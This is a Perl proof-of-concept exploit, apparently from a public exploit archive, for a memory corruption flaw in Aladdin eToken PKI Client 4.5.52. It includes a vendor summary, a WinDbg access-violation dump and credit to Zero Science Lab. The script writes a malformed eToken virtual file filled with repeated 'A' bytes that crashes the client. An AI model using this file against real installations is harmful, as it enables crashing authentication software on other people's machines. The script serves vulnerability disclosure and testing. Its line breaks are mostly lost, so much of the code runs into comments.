#!/usr/bin/perl -w## Title: Aladdin eToken PKI Client v4.5 Virtual File Handling Unspecified Memory Corruption PoC#### Summary: The eToken PKI Client is the software that enables eToken USB operation and the# implementation of eToken PKI-based solutions. These solutions include certificate-based# strong two-factor authentication, encryption and digital signing. With the PKI Client your# PKI solutions become highly secure, extremely convenient and portable, as you can easily and# securely generate and store PKI keys on-board eToken smart card-based devices.## Vendor: Aladdin Knowledge Systems Ltd.# Product web page: http://www.aladdin.com## Version tested: 4.5.52# Tested on Microsoft Windows XP Professional SP3 (EN)#### ===================================================================================## (154c.a74): Access violation - code c0000005 (first chance)# First chance exceptions are reported before any exception handling.# This exception may be expected and handled.# eax=00000000 ebx=00000000 ecx=00000000 edx=01730002 esi=00000000 edi=0012fc90# eip=0045d3d3 esp=001282b0 ebp=00128304 iopl=0 nv up ei pl nz na po nc# cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00010202# *** ERROR: Module load completed but symbols could not be loaded for etProps.exe# etProps+0x5d3d3:# 0045d3d3 8b8ea4000000mov ecx,dword ptr [esi+0A4h] ds:0023:000000a4=????????## ===================================================================================#### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic## Zero Science Lab - http://www.zeroscience.mk## liquidworm gmail com## 11.04.2010## Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4933.php#$fajl = "Aladdin.etv";# eToken Virtual file$djubre = "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"."\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
open etv,">./$fajl"|| die "\nCan't open $fajl: $!";
print etv $djubre x 100;
print "\n [o] Writing to file...\n";sleep 1;
close etv;
print "\n [o] File $fajl created.\n";